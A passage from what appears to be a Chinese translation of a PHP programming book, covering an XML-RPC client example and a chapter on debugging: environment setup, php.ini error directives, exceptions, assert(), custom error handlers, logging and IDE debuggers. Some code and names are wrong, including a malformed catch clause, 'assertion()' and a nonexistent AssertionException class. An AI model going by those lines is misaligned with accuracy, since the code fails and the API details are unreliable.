
method 参数包含 XML-RPC 方法的名称(因此您可以在多个名称下公开一个 PHP 函数)。方法的参数传递给数组 args,可选的 user_data 参数是 xmlrpc_server_call_method() 函数的 user_data 参数。

options 参数用于 xmlrpc_server_call_method(),它是一个将选项名称映射到它们的值的数组。选项包括:

output_type

控制所使用的数据编码。允许的值为 "php""xml"(默认)。

verbosity

控制添加到输出 XML 的空白量,以便使其对人类可读。允许的值为 "no_white_space""newlines_only""pretty"(默认)。

escaping

控制哪些字符需要转义以及如何转义它们。可以将多个值作为子数组给出。允许的值为 "cdata""non-ascii"(默认)、"non-print"(默认)和 "markup"(默认)。

versioning

控制要使用的 Web 服务系统。允许的值为 "simple""soap 1.1""xmlrpc"(客户端的默认值)和 "auto"(服务器的默认值,意味着“任何格式的请求”)。

encoding

控制数据的字符编码。允许的值包括任何有效的编码标识符,但您很少需要将其从 "iso-8859-1"(默认)更改。

客户端

XML-RPC 客户端发出 HTTP 请求并解析响应。随 PHP 一起提供的xmlrpc扩展可以处理编码 XML-RPC 请求的 XML,但不知道如何发出 HTTP 请求。为此,您必须下载xmlrpc-epi 分发版,并安装sample/utils/utils.php文件。该文件包含一个执行 HTTP 请求的函数。

示例 16-7 展示了multiply XML-RPC 服务的客户端。

示例 16-7. XML-RPC 客户端乘法
<?php
require_once("utils.php");

$options = array('output_type' => "xml", 'version' => "xmlrpc");

$result = xu_rpc_http_concise(
 array(
 'method' => "multiply",
 'args' => array(5, 6),
 'host' => "192.168.0.1",
 'uri' => "/~gnat/test/ch11/xmlrpc-server.php",
 'options' => $options,
 )
);

echo "5 * 6 is {$result}";

我们首先加载 XML-RPC 便捷工具库。这使我们可以使用xu_rpc_http_concise()函数,该函数构建了一个POST请求:

$response = xu_rpc_http_concise(*`hash`*);

*hash*数组包含 XML-RPC 调用的各种属性,作为一个关联数组:

method

要调用的方法名称。

args

方法的参数数组。

host

提供方法的 Web 服务的主机名。

url

Web 服务的 URL 路径。

options

选项的关联数组,如服务器端。

debug

如果非零,则打印调试信息(默认为0)。

xu_rpc_http_concise()返回的值是调用方法后解码的返回值。

XML-RPC 还有几个特性我们尚未涵盖。例如,XML-RPC 的数据类型并不总是精确映射到 PHP 的数据类型,并且有一些方法可以将值编码为特定的数据类型,而不是xmlrpc扩展的最佳猜测。此外,我们还未涵盖xmlrpc扩展的一些特性,如 SOAP 故障。请参阅xmlrpc扩展的文档获取完整详情。

欲了解更多关于 XML-RPC 的信息,请参见Programming Web Services in XML-RPC(O’Reilly),作者是 Simon St. Laurent 等人。欲了解有关 SOAP 的更多信息,请参见Programming Web Services with SOAP(O’Reilly),作者是 James Snell 等人。

接下来是什么

现在我们已经涵盖了 PHP 的大部分语法、特性和应用,下一章将探讨当事情出错时该怎么办:如何调试 PHP 应用程序和脚本中出现的问题。

第十七章:PHP 调试

调试是一种获得的技能。正如在开发界经常说的,“你被给予了你所需的所有绳索;只是试图用它打个漂亮的蝴蝶结而不是让自己被绞死。” 很自然地可以推断,您进行的调试越多,您将变得越熟练。当然,当您的代码未能达到预期时,您的服务器环境也会为您提供一些很好的提示。然而,在深入讨论调试概念之前,我们需要看看更大的画面,并讨论这些编程环境。每个开发店铺都有自己的设置和做事方式,因此我们将在此处涵盖的内容反映了理想条件,也称为最佳实践。

在理想的世界中,PHP 开发至少有三种单独的环境进行工作:开发、演示和生产。我们将在接下来的部分逐一探讨每一个。

开发环境

开发环境是一个可以在其中创建原始代码而无需担心服务器崩溃或同行嘲笑的地方。这应该是验证或证伪概念和理论、可以实验性地创建代码的地方。因此,错误报告的环境反馈应尽可能详尽。所有错误报告都应记录,并同时发送到输出设备(浏览器)。所有警告应尽可能敏感和详细。

注意

本章稍后的部分,将会比较每个三种环境下关于调试和错误报告相关的推荐服务器设置,表 17-1。

可以辩论这个开发环境的位置。但是,如果您的公司有资源,那么应该建立一个专用服务器,用于这一目的,并建立完整的代码管理(例如 SVN,即 Subversion,或 Git)。如果资源不足,则可以通过localhost风格的设置使用开发 PC 来完成此目的。从这个localhost环境本身来看,这可以是有利的,因为您可能想尝试一些完全不同寻常的东西,通过在独立的 PC 上编码,您可以完全实验性地进行,而不会影响常用开发服务器或任何其他人的代码库。

您可以使用 Apache Web 服务器或 Microsoft 的 Internet Information Services (IIS)手动创建localhost环境。也有一些可以使用的一体化环境;Zend Server CE(社区版)是一个很好的例子。

无论您为原始开发设置了什么,都要确保给予开发人员充分的自由,让他们无需担心受到责备而可以自由发挥。这样可以增强他们创新的信心,而且没有人会“受伤”。

注意

至少有两种在您自己的 PC 上设置本地环境的替代方法。第一种是,从 PHP 5.4 开始,有一个内置的 Web 服务器。这个选项节省了下载和安装完整 Apache 或 IIS Web 服务器产品以用于localhost目的的时间。

第二,现在有许多允许云端开发的站点(名字有点双关)。Zend提供了一个免费的测试和开发环境。

暂存环境

暂存环境应尽可能地模仿生产环境。尽管这有时很难实现,但您模仿生产环境越接近,效果就越好。您将能够看到您的代码在一个受保护但也模拟真实生产环境的区域中的反应。暂存环境通常是最终用户或客户可以测试新功能或功能的地方,提供反馈并对代码进行压力测试,而不用担心影响生产代码。

注意

随着测试和实验的进展,您的暂存区域(至少从数据的角度来看)最终会与生产环境变得更加不同。因此,建立定期用生产信息替换暂存区域的程序是一个好习惯。不同公司或开发商的设置时间会因所创建的功能、发布周期等因素而异。

如果资源允许,您应该考虑有两个独立的暂存环境:一个供开发者(编码同行)使用,另一个供客户测试使用。来自这两种用户的反馈往往非常不同且非常有价值。这里的服务器错误报告和反馈也应该尽量减少,以尽可能地模拟生产环境。

生产环境

从错误报告的角度来看,生产环境需要尽可能严格地控制。您希望完全控制最终用户看到和体验到的内容。如果可能的话,不应让客户看到像 SQL 失败和代码语法警告这样的东西。当然,您的代码库在此时应该已经做好了充分的缓解措施(假设您已经正确而虔诚地使用了前述的两个环境),但有时错误和漏洞仍可能出现在生产中。如果在生产中出现问题,您希望以尽可能优雅和安静的方式失败。

注意

考虑使用 404 页面重定向和try...catch结构,将错误和失败重定向到生产环境中的安全着陆区域。参见第二章了解try...catch语法的正确编码风格。

至少,所有的错误报告都应该在生产环境中被抑制并发送到日志文件中。

php.ini 设置

您需要考虑每种服务器类型的全局环境设置以开发您的代码。首先,我们将简要总结这些设置,然后列出每种编码环境的推荐设置。

display_errors

控制 PHP 遇到任何错误时显示的开关。在生产环境中应设置为0(关闭)。

error_reporting

这是一组预定义常量的设置,将向错误日志和/或 Web 浏览器报告 PHP 遇到的任何错误。此指令可以设置 16 种不同的单独常量,并且某些常量可以集体使用。最常见的是 E_ALL,用于报告所有类型的错误和警告;E_WARNING,仅向浏览器显示警告(非致命错误);以及 E_DEPRECATED,用于显示关于将来版本中将会失败的代码的运行时通知警告(例如 register_globals)。这些常量的组合使用示例是 E_ALL & ~E_NOTICE,它告诉 PHP 报告除生成通知外的所有错误。可以在 PHP 网站 找到所有这些定义常量的完整列表。

error_log

错误日志的存储位置路径。错误日志是位于服务器上的文本文件,记录以文本形式出现的所有错误。例如,在 Apache 服务器中可能是 apache2/logs

variables_order

设置超全局数组加载信息的优先顺序。默认顺序为 EGPCS,即首先加载环境($_ENV)数组,然后是 GET$_GET)数组,接着是 POST$_POST)数组,然后是 cookie($_COOKIE)数组,最后是服务器($_SERVER)数组。

request_order

描述 PHP 将 GETPOST 和 cookie 变量注册到 $_REQUEST 数组中的顺序。注册是从左到右进行的,较新的值会覆盖较旧的值。

zend.assertions

确定是否运行断言并抛出错误。当禁用时,调用 assert() 中的条件永不运行(因此,它们可能产生的任何副作用都不会发生)。

assert.exception

确定是否启用异常系统。默认情况下,在开发和生产环境中都是开启的,并且通常是处理错误条件的首选方式。

还可以使用其他设置;例如,如果担心日志文件过大,可以使用ignore_repeated_errors。该指令可以抑制相同代码行中重复记录的错误,但仅限于同一文件中的同一行。如果您正在调试代码的循环部分并且其中某处发生错误,这可能会很有用。

PHP 还允许您在代码执行期间修改某些 INI 设置,从而改变其服务器范围的设置。这是在一个疑难文件中打开某些错误报告并将结果显示在屏幕上的快速方法,但在生产环境中仍不建议使用。如果需要,可以在暂存环境中执行此操作。例如,打开所有错误报告并在浏览器中显示任何报告的错误。要执行此操作,请在文件顶部插入以下两个命令:

error_reporting(E_ALL);
ini_set("display_errors", 1);

error_reporting() 函数允许您覆盖报告的错误级别,而 ini_set() 函数允许您更改 php.ini 设置。再次强调,并非所有 INI 设置都可以更改,请务必查看 PHP 网站 了解可以和不可以在运行时更改的内容。

如前所述,Table 17-1 列出了 PHP 指令及其在三种基本服务器环境中的建议。

Table 17-1. PHP 服务器环境的错误指令

PHP 指令开发暂存生产
display_errors打开根据期望结果选择其中一个设置关闭
error_reportingE_ALLE_ALL & ~E_WARNING & ~E_DEPRECATEDE_ALL & ~E_DEPRECATED & ~E_STRICT
error_log/logs 文件夹/logs 文件夹/logs 文件夹
variables_orderEGPCSGPCSGPCS
request_orderGPGPGP

错误处理

错误处理是任何实际应用的重要部分。PHP 提供了多种机制,可用于处理错误,无论是在开发过程中还是应用在生产环境中。

错误报告

通常情况下,当 PHP 脚本发生错误时,错误消息会插入到脚本的输出中。如果错误是致命的,则脚本执行会停止。

条件有三个级别:通知、警告和错误。脚本执行中发生的 通知 可能表明错误,但也可能在正常执行过程中发生(例如,脚本尝试访问尚未设置的变量)。警告 表示非致命错误条件;通常在调用具有无效参数的函数时显示警告。发出警告后,脚本将继续执行。错误 表示脚本无法恢复的致命条件。解析错误 是一种特定类型的错误,当脚本语法错误时发生。除解析错误外,所有错误均为运行时错误。

建议将所有通知、警告和错误视为错误处理;这有助于防止诸如在变量具有合法值之前使用它们等错误。

默认情况下,除了运行时通知外的所有条件都会被捕获并显示给用户。您可以在php.ini文件中全局更改此行为,使用error_reporting选项。您还可以在脚本中使用error_reporting()函数局部更改错误报告行为。

使用error_reporting选项和error_reporting()函数,您可以使用不同的位操作符将各种常量值组合起来指定要捕获和显示的条件,如表 17-2 中所列。例如,这表示所有错误级别选项:

(E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR)

虽然这表示除运行时通知外的所有选项:

(E_ALL & ~E_NOTICE)

如果在你的php.ini文件中设置了track_errors选项,当前错误的描述将存储在$PHP_ERRORMSG中。

表 17-2. 错误报告值

ValueMeaning
E_ERROR运行时错误
E_WARNING运行时警告
E_PARSE编译时解析错误
E_NOTICE运行时通知
E_CORE_ERRORPHP 内部生成的错误
E_CORE_WARNINGPHP 内部生成的警告
E_COMPILE_ERRORZend 脚本引擎内部生成的错误
E_COMPILE_WARNINGZend 脚本引擎内部生成的警告
E_USER_ERROR通过调用trigger_error()生成的运行时错误
E_USER_WARNING通过调用trigger_error()生成的运行时警告
E_USER_NOTICE通过调用trigger_error()生成的运行时通知
E_ALL上述所有选项

异常

现在,许多 PHP 函数抛出异常而不是致命退出操作。异常允许脚本在出现错误后继续执行——当异常发生时,会创建一个BaseException类的子类对象,然后抛出。抛出的异常必须由跟随抛出代码的代码“捕获”。

try {
 $result = eval($code);
} catch {\ParseException $exception) {
 // handle the exception
}

你应该包含一个异常处理程序来捕获任何抛出异常的方法中的异常。任何未捕获的异常都会导致脚本停止执行。

错误抑制

您可以通过在表达式之前放置错误抑制运算符@来禁用单个表达式的错误消息。例如:

$value = @(2 / 0);

没有错误抑制运算符,表达式通常会因“除以零”错误而停止脚本的执行。如下所示,该表达式什么也不做,尽管在其他情况下,如果简单地忽略本应使程序停止的错误,则你的程序可能处于未知状态。错误抑制运算符不能捕获解析错误,只能捕获各种类型的运行时错误。

当然,抑制错误的缺点是你不会知道它们的存在。最好正确处理潜在的错误条件;例如,查看“触发错误”中的示例。

要完全关闭错误报告,请使用:

error_reporting(0);

该函数确保无论 PHP 在处理和执行脚本时遇到什么错误,都不会将错误发送给客户端(除了无法被抑制的解析错误)。当然,这并不能阻止这些错误的发生。更好的控制客户端显示哪些错误消息的选项在“定义错误处理程序”部分中展示。

触发错误

您可以使用assertion()函数从脚本中抛出错误:

assert (mixed *`$expression`* [, mixed *`$message`*]);

第一个参数是必须为true以不触发断言的条件;第二个(可选)参数是消息。

当您编写自己的函数来检查参数的健全性时,触发错误是很有用的。例如,这里有一个函数,它将一个数字除以另一个数字,并在第二个参数为0时抛出错误:

function divider($a, $b) {
 assert($b != 0, '$b cannot be 0');

 return($a / $b);
}

echo divider(200, 3);
echo divider(10, 0);
66.666666666667
Fatal error: $b cannot be 0 in page.php on line 5

当调用assert()时触发时,会抛出一个AssertionException——一个扩展了ErrorException且严重性为E_ERROR的异常。在某些情况下,您可能希望抛出一个扩展AssertionException类型的错误。您可以通过将异常作为消息参数而不是字符串来实现:

class DividerParameterException extends AssertionException { }

function divider($a, $b) {
 assert($b != 0, new DividerParameterException('$b cannot be 0'));

 return($a / $b);
}

定义错误处理程序

如果您希望比仅仅隐藏任何错误更好地控制错误(通常是这样),您可以提供 PHP 一个错误处理程序。当遇到任何种类的条件时,将调用错误处理程序,并且可以执行您希望执行的任何操作,从将信息记录到文件到漂亮地打印错误消息。基本过程是创建一个错误处理函数并使用set_error_handler()注册它。

您声明的函数可以接受两个或五个参数。前两个参数是错误代码和描述错误的字符串。如果您的函数接受它们,最后三个参数是发生错误的文件名、错误发生的行号以及错误发生时的活动符号表的副本。您的错误处理程序应该使用error_reporting()检查当前报告的错误级别,并相应地采取行动。

调用set_error_handler()会返回当前的错误处理程序。当您的脚本使用完自己的错误处理程序时,可以通过使用返回的值调用set_error_handler()来恢复先前的错误处理程序,或者通过调用restore_error_handler()函数来恢复。

下面的代码显示了如何使用错误处理程序格式化和打印错误:

function displayError($error, $errorString, $filename, $line, $symbols)
{
 echo "<p>Error '<b>{$errorString}</b>' occurred.<br />";
 echo "-- in file '<i>{$filename}</i>', line $line.</p>";
}

set_error_handler('displayError');
$value = 4 / 0; // divide by zero error

<p>Error '<b>Division by zero</b>' occurred.
-- in file '<i>err-2.php</i>', line 8.</p>

在错误处理程序中记录

PHP 提供了内置函数error_log()来将错误记录到管理员喜欢放置它们的各种地方:

error_log(*`message`*, *`type`* [, *`destination`* [, *`extra_headers`* ]]);

第一个参数是错误消息。第二个参数指定错误记录的位置:0 的值通过 PHP 的标准错误记录机制记录错误;1 的值将错误电邮发送至目标地址,可选地添加任何额外的头部到消息;3 的值将错误追加到目标文件中。

要使用 PHP 的日志记录机制保存错误,请调用error_log()并使用类型0。通过更改php.ini文件中的error_log值,您可以更改要记录的文件。如果将error_log设置为syslog,则将使用系统记录器。例如:

error_log('A connection to the database could not be opened.', 0);

要通过电子邮件发送错误,请调用error_log()并使用类型1。第三个参数是要发送错误消息的电子邮件地址,可选的第四个参数可用于指定附加的电子邮件头。以下是通过电子邮件发送错误消息的方法:

error_log('A connection to the database could not be opened.',
 1, 'errors@php.net');

最后,要记录到文件中,请调用error_log()并使用类型3。第三个参数指定要记录的文件名:

error_log('A connection to the database could not be opened.',
 3, '/var/log/php_errors.log');

示例 17-1 展示了一个将日志写入文件并在日志文件超过 1 KB 时进行轮换的错误处理程序示例。

示例 17-1. 日志滚动错误处理程序
function logRoller($error, $errorString) {
 $file = '/var/log/php_errors.log';

 if (filesize($file) > 1024) {
 rename($file, $file . (string) time());
 clearstatcache();
 }

 error_log($errorString, 3, $file);
}

set_error_handler('logRoller');

for ($i = 0; $i < 5000; $i++) {
 trigger_error(time() . ": Just an error, ma'am.\n");
}

restore_error_handler();

通常,在您网站上工作时,您希望直接在出错的页面上显示错误。然而,一旦网站上线,向访问者显示内部错误消息就没有太多意义了。一个常见的方法是在您的php.ini文件中使用以下内容,一旦您的网站上线:

display_errors = Off
log_errors = On
error_log = /tmp/errors.log

这告诉 PHP 永远不显示任何错误,而是将它们记录到error_log指令指定的位置。

错误处理程序中的输出缓冲

使用输出缓冲和错误处理程序的组合,可以根据各种错误条件发送不同的内容给用户。例如,如果脚本需要连接到数据库,则可以在脚本成功连接到数据库之前抑制页面的输出。

示例 17-2 展示了使用输出缓冲来延迟页面输出,直到成功生成页面为止。

示例 17-2. 输出缓冲以处理错误
<html>
 <head>
 <title>Results!</title>
 </head>

 <body>
 <?php function handle_errors ($error, $message, $filename, $line) {
 ob_end_clean();
 echo "<b>{$message}</b><br/> in line {$line}<br/> of ";
 echo "<i>{$filename}</i></body></html>";

 exit;
 }

 set_error_handler('handle_errors');
 ob_start(); ?>

 <h1>Results!</h1>

 <p>Here are the results of your search:</p>

 <table border="1">
 <?php require_once('DB.php');
 $db = DB::connect('mysql://gnat:waldus@localhost/webdb');

 if (DB::iserror($db)) {
 die($db->getMessage());
 } ?>
 </table>
 </body>
</html>

在示例 17-2 中,我们在开始<body>元素后注册错误处理程序并开始输出缓冲。如果无法连接到数据库(或在随后的 PHP 代码中发生任何其他错误),则不显示标题和表格。用户只会看到错误消息。但是,如果 PHP 代码没有引发错误,用户将只看到 HTML 页面。

手动调试

一旦您有了几年的开发经验,您应该能够至少通过纯视觉方式完成至少 75%的调试工作。另外的 25%和您需要解决的更困难的代码段呢?您可以通过使用像 Zend Studio for Eclipse 或 Komodo 这样的优秀代码开发环境来解决一些问题。这些先进的 IDE 可以帮助进行语法检查和一些简单的逻辑问题和警告。

您可以通过将值 echo 到屏幕上完成下一级别的调试(再次强调,大部分工作将在开发环境中完成)。这将捕捉依赖于变量内容的许多逻辑错误。例如,您如何轻松地查看 for...next 循环的第三次迭代的值?考虑以下代码:

for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;
}

最简单的方法是在循环有条件地中断并 echo 出该时间的值;或者,您可以等待循环完成,就像在本例中一样,因为循环正在构建一个数组。以下是确定第三次迭代值的示例(请记住数组键从 0 开始):

for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;

 if ($j == 2) {
 echo $sample[2];
 }
}
`24`

在这里,我们只是简单地插入一个测试(if 语句),当满足条件时,将特定值发送到浏览器。如果您遇到 SQL 语法问题或失败,您还可以将原始语句 echo 到浏览器中,并将其复制到 SQL 界面(例如 phpMyAdmin)中执行代码,以查看是否返回任何 SQL 错误消息。

如果我们想要在循环结束时查看整个数组以及每个元素包含的值,我们仍然可以使用 echo 语句,但为每个元素编写 echo 语句会很麻烦和复杂。相反,我们可以使用 var_dump() 函数。var_dump() 的额外优势是它还告诉我们数组每个元素的数据类型。输出不一定漂亮,但信息丰富。您可以将输出复制到文本编辑器中,并用其清理输出的外观。

当然,你可以根据需要同时使用 echovar_dump()。以下是 var_dump() 原始输出的示例:

for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;
}

var_dump($sample);
`array``(``10``)` `{` `[``0``]` `=>` `int``(``0``)` `[``1``]` `=>` `int``(``12``)` `[``2``]` `=>` `int``(``24``)` `[``3``]` `=>` `int``(``36``)` `[``4``]` `=>` 
`int``(``48``)` `[``5``]` `=>` `int``(``60``)` `[``6``]` `=>` `int``(``72``)` `[``7``]` `=>` `int``(``84``)` `[``8``]` `=>` `int``(``96``)` `[``9``]` `=>` 
`int``(``108``)}`
注意

发送简单数据到浏览器有另外两种方法:print 语言结构和 print_r() 函数。print 只是 echo 的另一种选择(除了返回 1 的值),而 print_r() 以人类可读的格式将信息发送到浏览器。可以将 print_r() 看作是 var_dump() 的替代品,不过在数组的输出时不会显示每个元素的数据类型。此代码的输出如下:

<?php
for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;
}
?>
<pre><?php print_r($sample); ?></pre>

如下所示(请注意由 <pre> 标签完成的格式化):

`Array``(` `[``0``]` `=>` `0` `[``1``]` `=>` `12` `[``2``]` `=>` `24` `[``3``]` `=>` `36` `[``4``]` `=>` `48`
`[``5``]` `=>` `60` `[``6``]` `=>` `72` `[``7``]` `=>` `84` `[``8``]` `=>` `96` `[``9``]` `=>` `108``)`

错误日志

您将在错误日志文件中找到许多有用的描述。如前所述,您应该能够在名为 logs 的文件夹中找到位于 Web 服务器安装文件夹下的文件。将检查此文件作为调试例行程序的一部分,以获取有关可能出现问题的提示。以下是错误日志文件详细信息的样本:

[20-Apr-2012 15:10:55] PHP Notice: Undefined variable: size in C:\Program Files
(x86)
[20-Apr-2012 15:10:55] PHP Notice: Undefined index: p in C:\Program Files
(x86)\Zend
[20-Apr-2012 15:10:55] PHP Warning: number_format() expects parameter 1 to be 
double
[20-Apr-2012 15:10:55] PHP Warning: number_format() expects parameter 1 to be 
double
[20-Apr-2012 15:10:55] PHP Deprecated: Function split() is deprecated in 
C:\Program
[20-Apr-2012 15:10:55] PHP Deprecated: Function split() is deprecated in 
C:\Program
[26-Apr-2012 13:18:38] PHP Fatal error: Maximum execution time of 30 seconds
exceeded

如您所见,此处报告了几种不同类型的错误:通知、警告、弃用通知和致命错误,以及它们各自的时间戳、文件位置和发生错误的行数。

注意

根据您的环境,一些商业服务器空间提供商出于安全原因不允许访问,因此您可能无法访问日志文件。请确保选择一个可以访问日志文件的生产提供商。此外,请注意日志可能被移出 Web 服务器的安装文件夹。例如,在 Ubuntu 上,默认路径是 /var/logs/apache2/.log*。如果找不到日志,请检查 Web 服务器的配置。

IDE 调试

对于更复杂的调试问题,最好使用可以在良好的集成开发环境(IDE)中找到的调试器。我们将展示使用 Zend Studio for Eclipse 的调试会话示例。其他如 Komodo 和 PhpED 的 IDE 也内置了调试器,因此也可以用于此目的。

Zend Studio 针对调试目的设置了完整的调试透视图,如图 17-1 所示。

Zend Studio 中的默认调试透视图

图 17-1. Zend Studio 中的默认调试透视图

要熟悉此调试器,请打开运行菜单。它显示了在调试过程中可以尝试的所有选项——步入和跳过代码段,运行到光标位置,从头重新启动会话,或者简单地让您的代码运行直到失败或结束,等等。

在 Eclipse 中的 Zend Studio 中,您甚至可以通过正确的设置来调试 JavaScript 代码!

请确保查看本产品中的多个调试视图;您可以在代码执行过程中观察变量(包括超全局变量和用户定义的变量)的变化。

在 PHP 代码中,还可以设置(和暂停)断点,因此您可以运行到代码中的某个位置并查看该特定时刻的整体情况。另外还有两个便利的视图是调试输出和浏览器输出,它们展示了调试器运行时代码的输出情况。调试输出视图以您在浏览器中选择“查看源代码”的格式呈现输出,显示生成的原始 HTML。浏览器输出视图显示了代码在浏览器中执行的样子。这两个视图的好处在于它们在代码执行时填充数据,因此如果您在代码文件的中间某处停在断点上,它们只显示生成到那一点的信息。

图 17-2 展示了本章早些时候示例代码(在 for 循环中添加了 echo 语句,以便您看到生成的输出)在调试器中运行的示例。主要变量 $j$sample 在表达式视图中被跟踪,并且浏览器输出和调试输出视图显示了它们在代码中停止位置的内容。

调试器使用监视表达式定义

图 17-2. 调试器在执行时定义的监视表达式

其他调试技术

有更高级的技术可以用于调试,但超出了本章的范围。两种这样的技术是性能分析和单元测试。如果你有一个需要大量服务器资源的大型网络系统,你应该深入了解这两种技术的好处,因为它们可以使你的代码库更具容错性和效率。

下一步

接下来,我们将探讨编写 Unix 和 Windows 跨平台脚本,并简要介绍如何在 Windows 服务器上托管你的 PHP 网站。